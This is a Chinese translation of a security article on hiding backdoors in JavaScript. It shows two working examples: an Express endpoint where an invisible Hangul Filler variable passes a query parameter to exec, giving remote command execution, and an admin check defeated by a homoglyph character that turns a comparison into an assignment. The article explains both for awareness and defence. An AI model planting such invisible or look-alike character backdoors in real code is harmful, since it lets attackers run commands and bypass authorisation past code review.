- 原文地址:The Invisible Javascript Backdoor
- 原文作者:Wolfgang Ettlinger
- 译文出自:掘金翻译计划
几个月前,我们在 Reddit 的 r/programminghorror 社区看到了一篇帖子,一位开发者讲述了自己的痛苦经历:他的代码报了语法错误,但怎么也定位不到原因,历经周折最后发现根源在于 JavaScript 源码中隐藏着肉眼看不见的 Unicode 字符。这篇帖子激发了我们的灵感:如果一个后门是字面意义上的不可见的,从而绕过了代码审查,将会有怎样的后果?
就在我们逐步完成本文之际,一支来自 Cambridge 大学的团队发表了一篇论文,文中描述的正是这种类型的攻击。但他们论述的攻击方式与我们的截然不同 —— 他们着眼于 Unicode 的双向机制(BiDi)。而我们对论文标题中的「隐形字符攻击」和「同型字符攻击」有着不同角度的解读。
话休烦絮,下面就是一段有后门的代码,你能慧眼识破吗?
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
这段脚本实现了一个非常简单的 HTTP 服务端点,支持网络状况检查功能,它执行了 ping -c 1 google.com
和 curl -s http://example.com
,然后返回这两条命令执行成功与否的结果。可选的 HTTP 参数 timeout
用来限制命令的执行时间。
揭露后门
我们是这样留后门的:首先找一个可以被 JavaScript 解析为标识符/变量的隐形 Unicode 字符。从 ECMAScript 2015 版本开始,所有带有 Unicode 属性 ID_Start
的 Unicode 字符都可以用于标识符中(而带有 ID_Continue
属性的字符则可以用在首字符后面)。
字符「ㅤ」(十六进制格式为 0x3164)叫做「HANGUL FILLER」,属于 Unicode 字符集中的「字母及其他」类别。鉴于这个字符被定义为一个字母,它天然具有 ID_Start
属性,因此可以出现在 JavaScript 变量名中 —— 万事俱备!
下一步,就是找到神不知鬼不觉地使用这个隐形字符的方法。下面使用了字符的转义形式来具象化攻击方式:
const { timeout,\u3164} = req.query;
上面的解构赋值把 HTTP 参数从 req.query
中拆解出来。事实不像我们看到的那么简单,从 req.query
中取出的可不止是 timeout
这一个参数!还有一个变量(或者说是 HTTP 参数)「ㅤ」被释放了出来 —— 如果一个名为「ㅤ」的 HTTP 参数被传了过来,那么它就被赋值给了一个隐形的变量「ㅤ
」。
同理,给数组 checkCommands
赋值时,隐形变量「ㅤ
」就被包含了进去:
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',\u3164
];
数组中的每个元素,两个硬编码的命令和一个用户传递的参数,都被传入了 exec
函数。该函数可以执行操作系统命令。攻击者要想执行操作系统命令,就得把参数「ㅤ」(以 URL 编码的格式)传到服务端点中去:
http://host:8080/network_health?%E3%85%A4=<任意命令>
这种方式无法被语法高亮检测出来,因为隐形字符根本就不会显示出来,因此就不会被 IDE 或文本编辑器用颜色标记出来:
这种攻击方式需要 IDE/文本编辑器(以及所用的字体)能够支持隐形字符,才不会被发现。至少 Notepad++ 和 VS Code 都能支持隐形字符(在 VS Code 中,该隐形字符要比 ASCII 字符略宽一些)。至少在 Node 14 中,这段脚本按照预期执行了。
同型字符攻击
除了用隐形字符,你还可以借助与操作符十分相似的 Unicode 字符来留后门:
const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */
const environment = 'PRODUCTION';
/* … */
function isUserAdmin(user) {
if(environmentǃ=ENV_PROD){
// 在开发环境中绕开鉴权
return true;
}
/* … */
return false;
}
上面代码中用到的字符「ǃ」可不是感叹号,而是一个 「ALVEOLAR CLICK」 符号。因此,下面这行代码并不会将变量 environment
和字符串 "PRODUCTION"
进行比较,而是把 "PRODUCTION"
赋值给了它前面的未定义变量 environmentǃ
:
if(environmentǃ=ENV_PROD){
于是乎,if
语句中的条件表达式的值总会是 true
(测试环境:Node 14)。
像这样与代码常用字符长得像的「李鬼」字符还有许多(如:「/」、「−」、「+」、「⩵」、「❨」、「⫽」、「꓿」、「∗」 等),它们都可能被用于类似的不良意图。Unicode 把这些字符称为「易混淆字符」。
划重点
请注意,滥用 Unicode 字符在代码中挖坑埋雷,已经不是什么新鲜主意(又一例隐形字符作乱)了,而且 Unicode 本质上也让扰乱代码变得更加容易。但我们觉得这些小伎俩也颇有妙趣,因此想要分享给大家。
Unicode 委员会在审查未知贡献者或者可疑贡献者的代码时,应该多加留神。开源项目对这方面也要尤为注意,因为他们收到的贡献代码可能来自于着实不愿透露姓名的开发者。
Cambridge 团队提议严格限制 Unicode BiDi 字符的使用。如本文所示,同型字符攻击和隐形字符都能造成威胁。根据我们的经验,非 ASCII 字符在代码中比较罕见。许多开发团队选择使用英语作为主要的开发语言(代码本身以及代码中的字符串都用英语),主要是为了拥抱国际化的合作(ASCII 字符集覆盖了英语中用到的几乎全部字符)。翻译成其他语言通常使用专用文件完成。当我们审查德语代码的时候,我们要多注意非 ASCII 码字符被替换成 ASCII 字符(如:ä → ae、ß → ss)。故此,禁用非 ASCII 字符可能是个好主意。